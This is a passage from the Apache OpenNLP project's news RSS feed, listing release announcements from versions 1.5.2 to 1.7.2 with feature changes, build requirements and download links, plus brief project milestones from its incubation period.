&lt;p&gt;Stupid backoff is now the default in NGramLanguageModel&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Language codes now are ISO 639-3 compliant&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add many unit tests&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Distribution package now includes example parameters file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now prefix and suffix feature generators are configurable&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remove API in Document Categorizer for user specified tokenizer&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Learnable lemmatizer now returns all possible lemmas for a given word and pos tag&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lemmatizer API backward compatibility break: no need to encode/decode lemmas anymore, now LemmatizerME lemmatize method returns the actual lemma&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add stemmer, detokenizer and sentence detection abbreviations for Irish&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Chunker SequenceValidator signature changed to allow access to both token and POS tag&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Thanks again to all contributors and committers for their help.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.7.2 released</title>
      <link>https://opennlp.apache.org/news/release-172.html</link>
      <pubDate>Sat, 4 Feb 2017 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-172.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of version 1.7.2 of Apache OpenNLP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP 1.7.2 binary and source distributions are available for download from our download page: &lt;a href=&quot;https://opennlp.apache.org/cgi-bin/download.cgi&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org/cgi-bin/download.cgi&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;https://opennlp.apache.org/maven-dependency.html&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org/maven-dependency.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;requirements&quot;&gt;Requirements&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 1.8 is required to run OpenNLP
Maven 3.3.9 is required for building it&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;building_from_the_source_distribution&quot;&gt;Building from the Source Distribution&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;To build everything execute the following command in the root folder:
    mvn clean install&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The results of the build will be placed  in:
    opennlp-distr/target/apache-opennlp-1.7.2-bin.tar-gz (or .zip)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;what_is_new_in_apache_opennlp_1_7_2&quot;&gt;What is new in Apache OpenNLP 1.7.2&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release introduces many new features, improvements and bug fixes. The API
has been improved for a better consistency and 1.4 deprecated methods were
removed. Now Java 1.8 is required.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally, the release contains the following noteworthy changes:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Name Finder evaluation can now show a confusion matrix&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The default evaluation output contains more details&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added a Language Model CLI tool&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add Moses format support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;More refactoring and cleanup, specially in Machine Learning package and Dictionary&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Removed deprecated trainers from UIMA integration&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed potential localization issues and added maven plugin to prevent it (ForbiddenAPI)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed issues with the BRAT corpus reader&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Deprecated GIS class, will be removed in a future 1.8.x release&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release
notes.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.7.1 released</title>
      <link>https://opennlp.apache.org/news/release-171.html</link>
      <pubDate>Mon, 23 Jan 2017 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-171.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of version 1.7.1 of Apache OpenNLP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP 1.7.1 binary and source distributions are available for download from our download page: &lt;a href=&quot;https://opennlp.apache.org/cgi-bin/download.cgi&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org/cgi-bin/download.cgi&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;https://opennlp.apache.org/maven-dependency.html&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org/maven-dependency.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;requirements&quot;&gt;Requirements&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 1.8 is required to run OpenNLP.
Maven 3.3.9 is required for building it.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;building_from_the_source_distribution&quot;&gt;Building from the Source Distribution&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;To build everything execute the following command in the root folder:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;literalblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre&gt;mvn clean install&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The results of the build will be placed in:
&lt;em&gt;opennlp-distr/target/apache-opennlp-1.7.1-bin.tar.gz&lt;/em&gt;
(or &lt;em&gt;.zip&lt;/em&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;what_is_new_in_apache_opennlp_1_7_1&quot;&gt;What is new in Apache OpenNLP 1.7.1&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release introduces many new features, improvements and bug fixes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally, the release contains the following noteworthy changes:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Travis CI Integration&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added support to LETSMT format&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;All stdout can be disabled during training via verbose parameter&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Improved and extended evaluation tests&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Refactoring and cleanup of code base&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Code fully migrated to Java 8&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added an improved GitHub README page&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the RELEASE_NOTES file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.7.0 released</title>
      <link>https://opennlp.apache.org/news/release-170.html</link>
      <pubDate>Sat, 31 Dec 2016 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-170.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of version 1.7.0 of Apache OpenNLP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP 1.7.0 binary and source distributions are available for download from our download page: &lt;a href=&quot;https://opennlp.apache.org/cgi-bin/download.cgi&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org/cgi-bin/download.cgi&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;https://opennlp.apache.org/maven-dependency.html&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org/maven-dependency.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;what_is_new_in_apache_opennlp_1_7_0&quot;&gt;What is new in Apache OpenNLP 1.7.0&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release introduces many new features, improvements and bug fixes. The API has been improved for a better consistency and deprecated methods were removed. Now Java 1.8 and Maven 3.3.9 are required.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally, the release contains the following noteworthy changes:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;OpenNLP is up to 50% faster at analyzing content&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A lot of deprecated code has been removed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Code base has been cleaned up&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There is a new brat annotation service&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Documentation was improved and extended&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A Naive Bayesian Classifier implementation was added&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Morfologik addon is now included&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added a language model component&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added a CLI to the lemmatizer component.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added a supervised statistical lemmatizer.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The lemmatizer component API has been entirely rewritten. The changes in the previously existing Dictionary-based lemmatizer are not backward compatible.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release
notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the RELEASE_NOTES file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.6.0 released</title>
      <link>https://opennlp.apache.org/news/release-160.html</link>
      <pubDate>Mon, 13 Jul 2015 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-160.html</guid>
      	<description>
	&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of version 1.6.0 of Apache OpenNLP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.
It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging,
named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP 1.6.0 binary and source distributions are available for download from our download page:
&lt;a href=&quot;https://opennlp.apache.org/cgi-bin/download.cgi&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org/cgi-bin/download.cgi&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details:
&lt;a href=&quot;https://opennlp.apache.org/maven-dependency.html&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org/maven-dependency.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release introduces many new features, improvements and bug fixes. The API
has been improved for a better consistency and 1.4 deprecated methods were
removed. Now Java 1.7 is required.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally the release contains the following noteworthy changes:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added evaluation support to the parser and doccat components&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added support to Evalita 07/09, Brat and OntoNotes corpus formats&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now L-BFGS is stable&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added Snowball to the Stemmer package&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;NameFinder now supports a user defined factory&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added pluggable machine learning support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added a lemmatizer module&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added Cluster, Document Begin and Clark feature generators to the Name Finder&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added Liblinear as a Machine Learning addon&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Entity Linker now has a command line interface&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added sequence classification support&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the RELEASE_NOTES
file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.5.3 released</title>
      <link>https://opennlp.apache.org/news/release-153.html</link>
      <pubDate>Wed, 17 Apr 2013 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-153.html</guid>
      	<description>
	&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of version 1.5.3 of Apache OpenNLP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.
It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging,
named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP 1.5.3 binary and source distributions are available for download from our download page:
&lt;a href=&quot;https://opennlp.apache.org/cgi-bin/download.cgi&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org/cgi-bin/download.cgi&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details:
&lt;a href=&quot;https://opennlp.apache.org/maven-dependency.html&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org/maven-dependency.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release contains a couple of new features, improvements and bug fixes. The CLI
has been improved for a better consistency. Now the tools supports extensions that
can be configured from the model, including customized context generators and
validators.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally the release contains the following noteworthy changes:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Porter Stemmer tool&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L-BFGS parameter estimation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Improved documentation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fine-grained POSTagger evaluation report&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Improved support to load user provided feature generator and context validation classes from OSGi environment&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the RELEASE_NOTES file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>OpenNLP graduated from the incubator as a Top Level Project</title>
      <link>https://opennlp.apache.org/news/news-2012-02-15.html</link>
      <pubDate>Wed, 15 Feb 2012 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2012-02-15.html</guid>
      	<description>
	&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;interview_on_cynical_developer_podcast&quot;&gt;Interview on Cynical Developer podcast&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;OpenNLP graduated from the incubator as a Top Level Project&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>New members and new features&amp;#8230;&amp;#8203;</title>
      <link>https://opennlp.apache.org/news/news-2011-12-22.html</link>
      <pubDate>Thu, 22 Dec 2011 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2011-12-22.html</guid>
      	<description>
	&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Join everyone in welcoming our newest members to the group, Aliaksandr Autayeu and Boris Galitsky.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;OpenNLP is moving forward with new features, fixes and advancements for the New Year.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Merry Christmas &amp;amp; Happy New Year! Again&amp;#8230;&amp;#8203; yes, it has been another year.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.5.2 Incubating released</title>
      <link>https://opennlp.apache.org/news/release-152.html</link>
      <pubDate>Mon, 28 Nov 2011 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-152.html</guid>
      	<description>
	&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of version 1.5.2-incubating of
Apache OpenNLP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural
language text. It supports the most common NLP tasks, such as tokenization, sentence
segmentation, part-of-speech tagging, named entity extraction, chunking, parsing,
and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP 1.5.2-incubating binary and source distributions are available for download
from our download page:
&lt;a href=&quot;https://incubator.apache.org/opennlp/download.cgi&quot; class=&quot;bare&quot;&gt;https://incubator.apache.org/opennlp/download.cgi&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well.
See the Maven Dependency page for more details:
&lt;a href=&quot;https://incubator.apache.org/opennlp/maven-dependency.html&quot; class=&quot;bare&quot;&gt;https://incubator.apache.org/opennlp/maven-dependency.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release contains a couple of new features, improvements and bug fixes.
The maxent trainer can now run in multiple threads to utilize
multi-core CPUs, configurable feature generation was added to the name finder,
the perceptron trainer was refactored and improved, machine learners
can now be configured with much more options via a parameter file,
evaluators can print out detailed evaluation information.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally the release contains the following noteworthy changes:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Improved the white space handling in the Sentence Detector and its training code&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added more cross validator command line tools&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Command line handling code has been refactored&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed problems with the new build&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now uses fast token class feature generation code by default&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added support for BioNLP/NLPBA 2004 shared task data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Removal of old and deprecated code&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dictionary case sensitivity support is now done properly&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support for OSGi&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the RELEASE_NOTES
file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>First release of 1.5.1-incubating is ready!</title>
      <link>https://opennlp.apache.org/news/news-2011-05-02.html</link>
      <pubDate>Mon, 28 Nov 2011 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2011-05-02.html</guid>
      	<description>
	&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;First release of opennlp-1.5.1-incubating ready for primetime.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Voting started on opennlp-dev list voting +1 (5-binding and 2-non-binding).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Voting carried over to general list voting +1 (1-binding and 1-non-binding).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Recorded no 0 votes or -1 votes.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Issue tracker moved to JIRA</title>
      <link>https://opennlp.apache.org/news/news-2011-01-29.html</link>
      <pubDate>Sat, 29 Jan 2011 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2011-01-29.html</guid>
      	<description>
	&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We have moved JIRA issues to a new list. Special THANKS go to Gavin for helping.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We are preparing for our first full release of the package.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Working on Apache Incubator requirements</title>
      <link>https://opennlp.apache.org/news/news-2010-12-24.html</link>
      <pubDate>Fri, 24 Dec 2010 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2010-12-24.html</guid>
      	<description>
	&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Merry Christmas &amp;amp; Happy New Year!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We have the sources online, are working on porting the documentation, and cleanup of the code to meet Apache
Incubator requirements.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>OpenNLP is now into Apache Incubation!</title>
      <link>https://opennlp.apache.org/news/news-2010-11-23.html</link>
      <pubDate>Tue, 23 Nov 2010 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2010-11-23.html</guid>
      	<description>
	&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache Incubator voted +1 (8-binding and 9-non-binding votes) to accept OpenNLP into incubation.&lt;/p&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>OpenNLP is candidated to Apache Incubation!</title>
